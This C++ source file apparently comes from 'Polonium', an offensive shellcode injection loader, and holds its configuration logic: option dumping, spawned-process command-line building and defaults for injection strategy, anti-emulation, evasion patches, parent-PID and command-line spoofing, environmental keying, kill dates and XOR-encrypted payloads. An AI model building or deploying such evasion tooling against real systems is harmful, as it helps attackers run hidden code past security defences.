
#include "commons.h"

bool globalRunningAsInjectedShellcode = false;
bool globalQuietOption = false;

#ifdef DEBUG_OWN_MEMORY_REGION_LOCATION_LOGIC
bool globalVerboseOption = true;
#else
bool globalVerboseOption = false;
#endif

bool globalAntiSplicingOption = false;
bool globalCacheLoglines = true;
wchar_t globalLogFilePath[MAX_PATH] = { 0 };

PROPagateContext globalPROPagateContext;
GlobalConfig programOptions = { 0 };

// Key: tactic name
// Value: (TacticEnumValue, MinNumberOfParams)
std::map<std::wstring, std::pair<EnvironmentalKeyingTactics, uint8_t>> Supported_Environmental_Keying_Tactics = 
{
    {OBFI(L"domainjoined"), std::make_pair(EnvironmentalKeyingTactics::DomainJoined, 0)},
    {OBFI(L"domain"), std::make_pair(EnvironmentalKeyingTactics::Domain, 1)},
    {OBFI(L"internet"), std::make_pair(EnvironmentalKeyingTactics::InternetConnectivity, 0)},
    {OBFI(L"ip"), std::make_pair(EnvironmentalKeyingTactics::IP, 1)},
    {OBFI(L"username"), std::make_pair(EnvironmentalKeyingTactics::Username, 1)}
};


void GlobalConfig::dumpOptions()
{
#ifndef _POLON_LESS_STRINGS

#define PRINT_BOOL(x) verbose(std::setw(30), std::left, OBF(L"\t" ## #x ## ":"), (x)? OBF(L"true") : OBF(L"false"))

    verbose(OBF(L"\n[.] Polonium globals dump:"));

    verbose(std::setw(30), std::left, OBF(L"\tglobalRunningAsInjectedShellcode:"),
        (::globalRunningAsInjectedShellcode) ? OBF(L"true") : OBF(L"false"));
    verbose(std::setw(30), std::left, OBF(L"\t::globalLogFilePath: "), OBF(L"\""), ::globalLogFilePath, OBF(L"\""));

    verbose(OBF(L"\n[.] Polonium options dump:"));

    PRINT_BOOL(DontProcessCommandLine);
    PRINT_BOOL(IgnoreDelayFailure);
    PRINT_BOOL(Quiet);
    PRINT_BOOL(ListingRunningProcesses);
    PRINT_BOOL(FallbackAndSwitchStrategy);
    PRINT_BOOL(AllEvasions);
    PRINT_BOOL(SpawnChild);
    //PRINT_BOOL(SpawnSelf);
    PRINT_BOOL(AntiSplicing);
    PRINT_BOOL(BlockDlls);
    PRINT_BOOL(TrampolineShellcodeExecution);
    PRINT_BOOL(AutoSelectTarget);
    PRINT_BOOL(Verbose);
    PRINT_BOOL(ApplyEvasionPatches);
    PRINT_BOOL(PoloniumIsWow64);
    PRINT_BOOL(RunningAsAFork);
    PRINT_BOOL(ShellcodeFluctuation);
    verbose(std::setw(30), std::left, OBF(L"\tShellcodeFluctuationProtection: "), parsePageProtection(ShellcodeFluctuationProtection));
    PRINT_BOOL(SpoofThreadStacks);
    PRINT_BOOL(MasqueradeUserAgent);
    PRINT_BOOL(EncryptHeaps);

    std::wstring cmdline(GetCommandLineW());
    trim(cmdline);

    verbose(std::setw(30), std::left, OBF(L"\tProcess Command line:"), OBF(L"("), cmdline, OBF(L")"));

    std::wstring shloc(shellcodeLocation);
    trim(shloc);

    verbose(std::setw(30), std::left, OBF(L"\tShellcode location:"), OBF(L"\""), shloc, OBF(L"\""));

    verbose(std::setw(30), std::left, OBF(L"\tWipePEHeaders: "), WipePEHeaders);
    verbose(std::setw(30), std::left, OBF(L"\tInjectionStrategy: "), InjectionStrategy);
    verbose(std::setw(30), std::left, OBF(L"\tParentPidSpoofing: "), ParentPidSpoofing);

    if(Delay > MINIMUM_DELAY_TECHNIQUE_FLAG) 
        verbose(std::setw(30), std::left, OBF(L"\tDelay: "), OBF(L"0x"), std::hex, std::setw(16), std::setfill(L'0'), Delay);
    else 
        verbose(std::setw(30), std::left, OBF(L"\tDelay: "), Delay);

	if (FragmentedWriteDelay > MINIMUM_DELAY_TECHNIQUE_FLAG)
		verbose(std::setw(30), std::left, OBF(L"\tFragmentedWriteDelay: "), OBF(L"0x"), std::hex, std::setw(16), std::setfill(L'0'), FragmentedWriteDelay);
	else
		verbose(std::setw(30), std::left, OBF(L"\tFragmentedWriteDelay: "), FragmentedWriteDelay);

    verbose(std::setw(30), std::left, OBF(L"\tAntiEmulation: "), AntiEmulation);
    verbose(std::setw(30), std::left, OBF(L"\tCmdlineSpoofing: "), CmdlineSpoofing);
    verbose(std::setw(30), std::left, OBF(L"\tShellcodeFragmentSize: "), ShellcodeFragmentSize);

    verbose(std::setw(30), std::left, OBF(L"\tTargetProcess: "), OBF(L"\""), TargetProcess, OBF(L"\""));
    if (TargetProcessPid == 0)
    {
        verbose(std::setw(30), std::left, OBF(L"\tTargetProcessPid: "), TargetProcessPid, OBF(L" (<not-set>)"));
    }
    else
    {
        verbose(std::setw(30), std::left, OBF(L"\tTargetProcessPid: "), TargetProcessPid, OBF(L" ("), getProcessName(TargetProcessPid), OBF(L")"));
    }

    verbose(std::setw(30), std::left, OBF(L"\tOverlayPayloadParameters:"), OBF(L"\""), OverlayPayloadParameters, OBF(L"\""));
    verbose(std::setw(30), std::left, OBF(L"\tpositionOfPayloadInBuffer: "), positionOfPayloadInBuffer);

    if (programOptions.ProgramKilldate.tm_year != 0 && programOptions.ProgramKilldate.tm_mday != 0 && programOptions.ProgramKilldate.tm_mon != 0)
    {
        time_t t = time(0);
        struct tm ts;
        localtime_s(&ts, &t);

        std::wostringstream killdate, nowdate;
        killdate << std::put_time(&programOptions.ProgramKilldate, OBFI(L"%Y-%m-%d"));

        verbose(std::setw(30), std::left, OBF(L"\tProgramKilldate: "), killdate.str());
    }
    else
    {
        verbose(std::setw(30), std::left, OBF(L"\tProgramKilldate:"), OBF(L"<not-set>"));
    }

    verbose(std::setw(30), std::left, OBF(L"\tPageProtection: "), parsePageProtection(PageProtection));
    verbose(std::setw(30), std::left, OBF(L"\tInputShellcodeLen: "), InputShellcodeLen);
    verbose(std::setw(30), std::left, OBF(L"\tInputEncodedShellcodeLen: "), InputEncodedShellcodeLen);
    verbose(std::setw(30), std::left, OBF(L"\tInputUncompressedShellcodeLen: "), InputUncompressedShellcodeLen);
    verbose(std::setw(30), std::left, OBF(L"\tEncryptionKey: "), OBF(L"0x"), std::hex, *reinterpret_cast<DWORD*>(EncryptionKey));
    
    switch (payloadEmbeddedIn)
    {
    case PayloadEmbedTechnique::PayloadHarcoded: verbose(std::setw(30), std::left, OBF(L"\tpayloadEmbeddedIn:"), OBF(L"PayloadEmbedTechnique::PayloadHarcoded")); break;
    case PayloadEmbedTechnique::PayloadInFile: verbose(std::setw(30), std::left, OBF(L"\tpayloadEmbeddedIn:"), OBF(L"PayloadEmbedTechnique::PayloadInFile")); break;
    case PayloadEmbedTechnique::PayloadInOverlay: verbose(std::setw(30), std::left, OBF(L"\tpayloadEmbeddedIn:"), OBF(L"PayloadEmbedTechnique::PayloadInOverlay")); break;
    case PayloadEmbedTechnique::PayloadInSection: verbose(std::setw(30), std::left, OBF(L"\tpayloadEmbeddedIn:"), OBF(L"PayloadEmbedTechnique::PayloadInSection")); break;
    }

    switch (EncryptionUsed)
    {
    case PayloadEncryption::NoEncryption: verbose(std::setw(30), std::left, OBF(L"\tEncryptionUsed:"), OBF(L"PayloadEncryption::NoEncryption")); break;
    case PayloadEncryption::Xor8: verbose(std::setw(30), std::left, OBF(L"\tEncryptionUsed:"), OBF(L"PayloadEncryption::Xor8")); break;
    case PayloadEncryption::Xor32: verbose(std::setw(30), std::left, OBF(L"\tEncryptionUsed:"), OBF(L"PayloadEncryption::Xor32")); break;
    }

	switch (CompressionUsed)
	{
	case PayloadCompression::NoCompression: verbose(std::setw(30), std::left, OBF(L"\tCompressionUsed:"), OBF(L"PayloadCompression::NoCompression")); break;
	case PayloadCompression::Xpress: verbose(std::setw(30), std::left, OBF(L"\tCompressionUsed:"), OBF(L"PayloadCompression::Xpress")); break;
	case PayloadCompression::XpressHuffman: verbose(std::setw(30), std::left, OBF(L"\tCompressionUsed:"), OBF(L"PayloadCompression::XpressHuffman")); break;
    case PayloadCompression::Lznt1: verbose(std::setw(30), std::left, OBF(L"\tCompressionUsed:"), OBF(L"PayloadCompression::Lznt1")); break;
	}

    if (EnvironmentalKeyings.size() > 0)
    {
        verbose(std::setw(30), std::left, OBF(L"\tEnvironmentalKeyings:"));
        for (auto& v : EnvironmentalKeyings)
        {
            verbose(OBF(L"\t\t- method: \""), v.method, OBF(L"\""));
            verbose(OBF(L"\t\t- params: "));
            for (auto& p : v.params)
            {
                verbose(OBF(L"\t\t\t* param: \""), p, OBF(L"\""));
            }
        }
    }
    else {
        verbose(std::setw(30), std::left, OBF(L"\tEnvironmentalKeyings:"), OBF(L"<empty>"));
    }

    verbose(std::setw(30), std::left, OBF(L"\tInputShellcodeBuffer addr:"), OBF(L"0x"), std::hex, 
        reinterpret_cast<const void*>(InputShellcodeBuffer.data()), OBF(L"\n"));

#undef PRINT_BOOL

#endif
}

std::wstring GlobalConfig::toSpawnedSelfCommandLinePipe()
{
#define GET_BOOL(a, b) if((this->a)) wss << L ## b << L" "

    std::wstringstream wss;
    std::wstring cmdline = L"";

    GET_BOOL(DontProcessCommandLine, "-Z");
    GET_BOOL(IgnoreDelayFailure, "-Y");
    GET_BOOL(Quiet, "-q");
    GET_BOOL(ListingRunningProcesses, "-L");
    GET_BOOL(FallbackAndSwitchStrategy, "-F");
    GET_BOOL(AntiSplicing, "-r");
    GET_BOOL(BlockDlls, "-b");
    GET_BOOL(Verbose, "-v");
    GET_BOOL(ApplyEvasionPatches, "-g");

    if ((this->Delay & DelayTechnique::OfferYouHaveToRefuse) != 0)
    {
        wss << L"-d a ";
    }
    if ((this->Delay & DelayTechnique::SenselessAES) != 0)
    {
        wss << L"-d c ";
    }
    if ((this->Delay & DelayTechnique::MillionsIncrements) != 0)
    {
        wss << L"-d b ";
    }

    if (wcslen(this->CmdlineSpoofing) > 0) {
        wss << L"-c \"" << this->CmdlineSpoofing << L"\" ";
    }

    if (wcslen(globalLogFilePath) > 0) {
        wss << L"-l \"" << globalLogFilePath << L"\" ";
    }
    
    wss << L"-P " << mapPageProtectionFlagValueToName(this->PageProtection) << L" ";

    if (this->shellcodeLocation.find(L" ") != std::wstring::npos) {
        wss << L"-f \"" << this->shellcodeLocation << L"\" ";
    }
    else {
        wss << L"-f " << this->shellcodeLocation << L" ";
    }

    for (unsigned i = 0; i < this->WipePEHeaders; i++) wss << L"-w ";
    for (unsigned i = 0; i < this->AntiEmulation; i++) wss << L"-x ";

    cmdline += wss.str();

#undef GET_BOOL
    return cmdline;
}

void GlobalConfig::init()
{
	DontProcessCommandLine = false;
	IgnoreDelayFailure = false;
	Quiet = false;
	ListingRunningProcesses = false;
	FallbackAndSwitchStrategy = false;
	AllEvasions = false;
	SpawnChild = false;
    SpawnSelf = false;
	AntiSplicing = false;
	BlockDlls = false;
	AutoSelectTarget = false;
	Verbose = false;
	PoloniumIsWow64 = false;
	ApplyEvasionPatches = false;
	RunningAsAFork = false;

	WipePEHeaders = false;
	InjectionStrategy = 1;
	ParentPidSpoofing = 0;

    //Delay = Default_Program_Delay;
	Delay = 0;

	AntiEmulation = 0;

	//auto imagePath = getChildProcessPath(TargetProcess);
	//wcscpy_s(CmdlineSpoofing, imagePath.c_str());
    memset(CmdlineSpoofing, 0, sizeof(CmdlineSpoofing));

	ProgramKilldate = { 0 };

	TargetProcess = L"";
	FilteredCommandLine = L"";
	TargetProcessPid = 0;

	EnvironmentalKeyings.clear();
	PageProtection = PAGE_EXECUTE_READWRITE;

	payloadEmbeddedIn = PayloadEmbedTechnique::PayloadHarcoded;
	OverlayPayloadParameters = L"";
	positionOfPayloadInBuffer = 0;

	shellcodeLocation = L"";
	EncryptionUsed = PayloadEncryption::NoEncryption;
	CompressionUsed = PayloadCompression::NoCompression;
	memset(EncryptionKey, 0, sizeof(EncryptionKey));
	InputShellcodeBuffer.clear();
	InputEncodedShellcodeLen = 0;
    InputShellcodeLen = 0;
    InputUncompressedShellcodeLen = 0;

	if (!IsProcessWow64(GetCurrentProcess(), &PoloniumIsWow64))
	{
		// Could not determine whether our own process is Wow64 or not. Will try in other way.
		// Since we're already sure that we run on x64 system, the last thing to check is the pointer size.
		// If it's 4 bytes long, we're being WOW64-ed.
		PoloniumIsWow64 = (sizeof(void*) == 4);
	}
}